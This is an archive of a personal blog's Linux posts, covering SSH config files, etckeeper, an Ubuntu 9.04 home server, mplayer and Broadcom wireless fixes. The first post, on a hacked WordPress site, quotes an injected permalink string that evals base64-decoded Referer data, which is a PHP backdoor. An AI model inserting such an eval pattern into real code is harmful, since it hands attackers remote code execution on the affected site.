Archive for the 'Linux' Category

-image-Hacked WordPress

After posting up the last entry about SSH I noticed that I had a problem with my Permalinks. Seems that there is some nasty little injection problem with WordPress that changes the Permalinks with the addition of.

 &({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&

I am following the suggestions here:

http://blog.4rev.net/2009-09/wordpress-hacked-eval-base64_decode-_serverhttp_referer/

And it seemed to work.


-image-The beauty of the ssh config file

This is a tip that I have used on OS X and on Linux, which I presume works on other *nix and BSDs using SSH.

Basically in the .ssh folder in your home directory you can create a file called config with which you can put all sorts of configuration information for your ssh client but the real benefit for me was to use this to give extra information to hosts such as defining a different port number to connect on. For instance:

Host myservername
        User myuser
        Port 22222

This means that instead of typing:

ssh -p 22222 myuser@myservername

I can type:

ssh myservername

No need for nasty aliases in the shell or anything like that. This also works for the sshfs program on the Mac that makes use of MacFuse. Yes that’s right you can use different ports with SSHfs.

You can also change a much wider range of parameters than I have shown here, but often its probably better to introduce them on the server. But here is an example and have a look under the options flag in the Man page for SSH

Compression yes
CompressionLevel 9
FallBackToRsh yes
KeepAlive no

-image-etckeeper

I have been looking for a good way of keeping track of changes to /etc and with Ubuntu 9.04 Server I see that they have rolled in support for etckeeper (using bzr as the default).

This little util allows the use of version control (bzr, hg or git) to track changes to /etc and with the Ubuntu version integrates with apt and dpkg so that new package installs are tracked.

To install just install the following, it will take care of the dependancies:

sudo apt-get install etckeeper

The Initialize the repository:

sudo etckeeper init

And do a commit of the files to the repository.

sudo etckeeper commit "initial import"

After each change to file(s) in /etc

sudo etckeeper commit "comment on my commit"

Now I just have to back up the files from the repository for a good way of rolling back and forth between versions. Probably onto a USB key


-image-Ubuntu 9.04 server at home

Over the past week or so (slowed down by the damn flu) I have been building a new server for home. Its going to have the following duties:

  • Backup server (with Apple Time Machine)
  • File server
  • NNTP server
  • iTunes server
  • Database server (mainly PostgreSQL)
  • VMWare server

The hardware is mounted in rackmount chassis with space for 12 drives, 6 of which will be populated straight away, has a 64bit processor and will have 3Gb of RAM (The maximum on this old hardware).

I have installed Ubuntu 9.04 Server edition on it, and I must say that it went very smoothly except for the fact that Python 2.5 on Ubuntu 9.04 is a pain, often breaking. Here are some useful commands:

Having two installations of different version of python and switching between them:

sudo apt-get install python2.5 idle-python2.5
sudo update-alternatives --install /usr/bin/python python /usr/bin/python2.6 1
sudo update-alternatives --install /usr/bin/python python /usr/bin/python2.5 10
sudo update-alternatives --config python

To undo:

sudo update-alternatives --remove-all python
sudo ln -s python2.6 /usr/bin/python

To force a change of version:

sudo rm /usr/bin/python && sudo ln -s python2.5 /usr/bin/python

Then this will be the main server in the house, with lightweight front ends (This will have over 4Tb of RAID with expandability to 12TB). My old book will retire until I think of a good use for its out of date hardware.


-image-Ubuntu compared to Vista and Windows 7

There is a really interesting article over here about ubuntu 9 compared to Vista and Windows 7.

http://tuxradar.com/content/benchmarked-ubuntu-vs-vista-vs-windows-7

They compared installation time. Ubuntu was faster.
Mouse clicks in the installation: Ubuntu had less.
Disk space used: Ubuntu used less.
Bootup: Microsoft was faster, Windows 7 being the leader.
Shutdown: Linux was faster.
IO: Linux was faster.
Python: Windows just about edged it.

In the real world it probably doesn’t matter, the vast majority of users will continue on with a Microsoft operating system because the software they want to run and have supported by their local IT team will make this easier. Interesting followup here:

http://www.tuxradar.com/content/linux-vs-windows-7

As an OS X user the “improvements” to Windows appearance is laughable still.


-image-mplayer – disable LIRC

Been trying to use mplayer from the shell on Ubuntu 8.04 (Hardy) and LIRC was giving my problems, but I couldn’t find any help with the following mplayer error:

mplayer: could not connect to socket
mplayer: No such file or directory
Failed to open LIRC support. You will not be able to use your remote control.

Well all you need to do to is to disable LIRC support by doing the following:

Edit

sudo vim /etc/mplayer/mplayer.conf

And put in the line:

nolirc=yes

And that should sort it out.


-image-Linksys wireless with Ubuntu server

Been trying to get a linksys wireless card working on my server with Ubuntu 8.04. Its not the easiest thing.

My output of lspci shows:

Network controller: Broadcom Corporation BCM4306 802.11b/g Wireless LAN Controller (rev 03)

And my lshw -C network:

  *-network
       description: Network controller
       product: BCM4306 802.11b/g Wireless LAN Controller
       vendor: Broadcom Corporation
       physical id: 9
       bus info: pci@0000:01:09.0
       version: 03
       width: 32 bits
       clock: 33MHz
       capabilities: bus_master
       configuration: driver=b43-pci-bridge latency=32 module=ssb
  *-network
       description: Wireless interface
       physical id: 1
       logical name: wlan0
       serial: 00:0f:66:f3:0e:78
       capabilities: ethernet physical wireless
       configuration: broadcast=yes multicast=yes wireless=IEEE 802.11g

And my output of iwconfig:

lo        no wireless extensions.

eth0      no wireless extensions.

wmaster0  no wireless extensions.

wlan0     IEEE 802.11g  ESSID:"My_SSID"  
          Mode:Managed  Frequency:2.412 GHz  Access Point: 00:1D:68:F6:5D:95  
          Tx-Power=27 dBm  
          Retry min limit:7   RTS thr:off   Fragment thr=2346 B  
          Encryption key:9A25-A0A5-90
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

So the hardware apparently is a little tricky but I have downloaded the firmware and drivers that should support it with the correct wrapper.

Except its really not working yet.


-image-Fixing the screen backspace and delete key

When running screen sometimes there is a problem using the backspace or delete key and you get the dreaded “Wuff Wuff” message.

Try editing

~/.bashrc

And adding:

alias screen='TERM=screen screen'

-image-Ubuntu 7.04 on Parallels

Just been installing Ubuntu 7.04 on Parallels for work, and its not as straight forward as it should be. Luckily there is a good tutorial over on simplyhelp.net.
Read the rest of this entry »


-image-Debian to Ubuntu without reinstall

So still on this subject I decided that I would do some reading, and everything that I have seen points to the fact that its a bad idea.

I upgraded a box from Ubuntu 6.06 to Ubuntu 6.10 last week to test the upgrading, and it really didn’t like it.  This was a freshly installed desktop machine with no funny hardware so that is putting me off going from Debian to Ubuntu totally.

I am going to keep my Debian box as is for the moment, though I must admit I have got my eye on a nice Intel Mac Mini for a replacement or to use as a media box.  In fact I would love to replace several of my boxes (my Database server, my MythTV box (using my server as a backend and my firewall) but I am not sure whether it makes financial sense.  Even secondhand a Mac Mini is going to cost at least £200 I would have thought, but it might be a better option than having these huge boxes around at the moment.

Something to ponder on.  Like I need it!